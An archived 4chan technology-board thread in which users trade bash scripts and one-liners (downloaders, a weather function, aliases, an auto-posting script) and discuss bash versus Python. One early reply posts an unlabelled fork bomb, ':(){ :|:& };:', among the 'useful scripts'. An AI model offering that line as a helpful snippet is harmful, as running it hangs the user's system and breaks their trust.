[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

ITT we Post useful scripts

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 56
Thread images: 5

File: bash.jpg (16KB, 800x600px) Image search: [Google]
bash.jpg
16KB, 800x600px
ITT we Post useful scripts
>>
#!/bin/bash

[ $1 ] && [ $2 ] || { echo "usage $0 <file_type> <link>"; exit; }

wget -r -H -np -nd -e robots=off -A $1 $2


download files (like .webm) from pages (like /b/)
>>
alias fuck=(sudo !!)
or sth like that
>>
:(){ :|:& };:
>>
Last one was here btw.
>>56614502
>>
Is it possible for a script to use sudo so when you run it you dont have to type the password?
>>
function weather()
{
s=-37
if [ -z $2 ]; then
s=-7
fi
w=`curl --silent http://wttr.in/$1 | head $s`
echo "${w}"
}


weather - current weather (auto location)
weather location - current weather for specified city
weather location x - 3 day weather for specified city (x can be any string)
>>
shopt -s autocd
>>
>>56669466
You can if you add your user to the suoders file:
visudo


https://www.digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file-on-ubuntu-and-centos
>>
>>56669627
Thanks
>>
alias top='spd-say "KEK"'
alias ayy='echo lmao'
>>
Linux newfag here, is there some sort of command I can use to prompt for confirmation, which will return zero on yes and nonzero on no?
>>
>>56669769
http://stackoverflow.com/a/1885534
>>
>>56669413
https://github.com/nvbn/thefuck
>>56669387
start desktop thread:
#!/bin/bash
SCREENSHOT_COMMAND="/home/gentoo/bin/nircmdc.exe savescreenshot"
FILENAME_OF_SCREENSHOT_NIX="/cygdrive/c/Users/gentoo/Pictures/scrots/Untitled.png"
FILENAME_OF_SCREENSHOT_WIN="C:\\Users\\gentoo\\Pictures\\scrots\\Untitled.png"
IMAGE_VIEWER="display.exe"
TMPCHALLENGEIMAGE="/tmp/challenge.jpg"
BROWSER_COMMAND="/cygdrive/c/Program\ Files\Nightly/firefox.exe"

BOARD_POST="http://sys.4chan.org/g/post"
BOARD_VIEW="http://boards.4chan.org/g/res"
NAME="GNU/#yADb95_~"
SUBJECT=""
EMAIL="neko"
PASSWORD="$RANDOM"
COMMENT="Refreshed page $RANDOM times, saw no desktop threads. Posting a desktop thread using start_desktop_thread.sh"


TMP=`mktemp -t shitty.script.XXXX`
CHALLENGE=`curl http://www.google.com/recaptcha/api/challenge?k=6Ldp2bsSAAAAAAJ5uyx_lx34lJeEpTLVkP5k04qc | head -n 5 | tail -n 1 | awk '{print $3}' | awk "{gsub(/'|,/, \"\"); print}"`

#echo $CHALLENGE
curl http://www.google.com/recaptcha/api/image?c=$CHALLENGE -o $TMPCHALLENGEIMAGE
echo "Enter the captcha:"
$($IMAGE_VIEWER $TMPCHALLENGEIMAGE)&
read RESPONSE_TO_CHALLENGE


if [ `uname` = "CYGWIN_NT-6.1-WOW64" ]; then
echo "WINDOWS SYSTEM DETECTED"
taskkill /f /im $IMAGE_VIEWER
$($SCREENSHOT_COMMAND $FILENAME_OF_SCREENSHOT_WIN)
else
echo "LOONIX OR OS GAY OR BSD SYSTEM DETECTED"
kill -9 pidof $IMAGE_VIEWER
$($SCREENSHOT_COMMAND $FILENAME_OF_SCREENSHOT_NIX)
fi

curl -A tidus -F resto="$BOAD_POST" -F "name=$NAME" -F "email=$EMAIL" -F "sub=$SUBJECT" -F "com=$COMMENT" -F "upfile=@$FILENAME_OF_SCREENSHOT_NIX" -F "pwd=$PASSWORD" -F "mode=regist" -F "submit=submit" -F "recaptcha_response_field=$RESPONSE_TO_CHALLENGE" -F "recaptcha_challenge_field=$CHALLENGE" $BOARD_POST > $TMP

rm $TMPCHALLENGEIMAGE

if [ "$URL" = "" ]; then
URL=`cat $TMP | egrep -o 'thread:0,no:[0-9]+' | egrep -o '[0-9]{4,}'`
echo "posting in $BOARD_VIEW/$URL"
nohup $(`BROWSER_COMMAND $BOARD_VIEW/$URL`) &
fi

rm -f $TMP
exit 0
>>
apt-get install gentoo
>>
>>56669842
> 2016
> not using funtoo
>>
>>56669842
mfw this actually works
>>
>>56669883
I see no face
>>
>>56669903
:^)
>>
From the intredasting one liner department:
Show percent %cpu and %memory of what's running on you're display.
ps -o pid,comm,pmem,pcpu,uname -C $(xlsclients | cut -d" " -f3 | paste - -s -d ',')
>>
File: triggered.jpg (16KB, 340x344px) Image search: [Google]
triggered.jpg
16KB, 340x344px
#!/bin/zsh

if [ -z $1 ] ; then
return
fi

date
sleep $1;
aplay /dev/urandom


>mfw I forget my volume is all the way up
>>
>>56669922
>zsh
Stop reading there.
>>
How long did it take for you guys to learn bash? Is it big like any other language?
>>
>>56669935
poo
>>
>>56669944
>implying ``we'' don't know the bare minimum basics then just Google or go to ExpertSexChange/StackExchange when we need to do anything beyond while loops or basic comparisons
>>
>>56669944
It didn't take long, less than year. There's a lot of quirks in the language and the sooner you start using something like Python or Perl instead the better off you'll be.
>>
>>56669962
I guess I wanted to believe.
>>
>>56669984
>>56669962
Also this.
>>
>>56669958
who is sawako and why do you love her?
>>
>>56669984
Python/Pearl can replace bash and do same things on your machine? I dont understand what you meant by your post sorry
>>
File: for you.png (30KB, 531x155px) Image search: [Google]
for you.png
30KB, 531x155px
>>56670027
>Pearl
>>
>>56670046
dude what? i was asking you fucking reading comprehension autist
>>
>>56670027
Pretty much, yeah. Bash has a lot of quirks/edge cases that tend to trip up newbies. It also suffers from the fact that distributions don't always ship the latest/same version (OSX notoriously ships a really old version of Bash for licensing reasons).

Python (more than Perl) is a really consistent language and the chances of you running into some bizarre behavior is minimal. It's considered a "batteries included" language so you get a lot of functionality out of the box (json, xml parsing, http requests, OS operations like creating files etc).
>>
>>56670088
You are the actual autist that cannot notice you used the word Pearl when you meant Perl.
>>
>>56670089
Thanks a lot anon
>>
File: gtfo.gif (556KB, 474x379px) Image search: [Google]
gtfo.gif
556KB, 474x379px
>>56670109
>>
list commands, aliases, builtins, keywords and functions on you're system by search-string;
compgen -abckA function | grep <string>
>>
>>56669387
#!/bin/bash

counter=1
mkdir PhrackIssues
cd PhrackIssues/
while [ $counter -lt 70 ]
do
echo "Donwloading phrack >"$counter
wget -c http://phrack.org/archives/tgz/phrack$counter.tar.gz
counter=$(( $counter + 1 ))
done
echo "Done!"
>>
>>56669944
Learn bash + C it's really only what you need.
Might want to learn Perl besides or you'll go the python route
>>
>>56670156
In the long run, is it still better to go with Python since you can do broader range of different things with it, in different areas I mean(like web for example), because I understand that bash is limited only on *nix platforms?
>>
>>56670199
Depends what you want to do honestly.
You can use any language but if you like python or Perl then use/learn those
>>
>>56670199

Not the anon you're talking to, but python is definately useful as a general purpose language. I even substitute bash with python scripts in certain cases, since it's easier for portability.
>>
>>56670199
Yes.

Python has a broader base of support these days than Perl (although Perl still has an active community). It also has a strong scientific community so if you eventually want to get into ML, NLP, or the hard sciences then Python is a good skill to have.

Look up pandas, nltk, and scipy for examples
>>
>>56670320
>nltk
shiggy diggy
>>
>>56670154
>
counter=$(( $counter + 1 ))

Why not just counter++?
>>
File: 1405559303614.gif (109KB, 200x200px) Image search: [Google]
1405559303614.gif
109KB, 200x200px
>>56670365
what's the alternative then
>>
>>56670311
>>56670320
Thanks for directions anons
>>
>>56670386
yeah or $counter++ ty
>>
>>56670390
write your own
>>
>>56670437
you keep reinventing the wheel, anon
>>
>>56670566
No...
Every "re-invention" is different in someway, so therefore not a "re-invention" at all

Just don't be stupid
>>
>>56669387
>bash
dropped

I don't know how people put up with that utter shit. Even fish is better
>>
>>56669387
have-sex-with-me

sudo have-sex-with-me


sudo have-sex-with-me -f
>>
>>56669387
Is bash still relevant outside server environments and alike?

And even then Python is widely used even in those areas because of it's libraries.

No trolling, seriously.
>>
>>56671710
* bash scripting, my bad
>>
>>56671723
Bash scripting (more accurately shell scripting) allows one to manipulate several separate programs. Python and the like can utilize libraries, sure, but libraries are often monolithic - you can't change what's in a library, and it can be hell trying to isolate a modified library (if you can modify it at all), whereas a modified binary can be plopped anywhere outside its standard location, and utilized at will.
Thread posts: 56
Thread images: 5


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.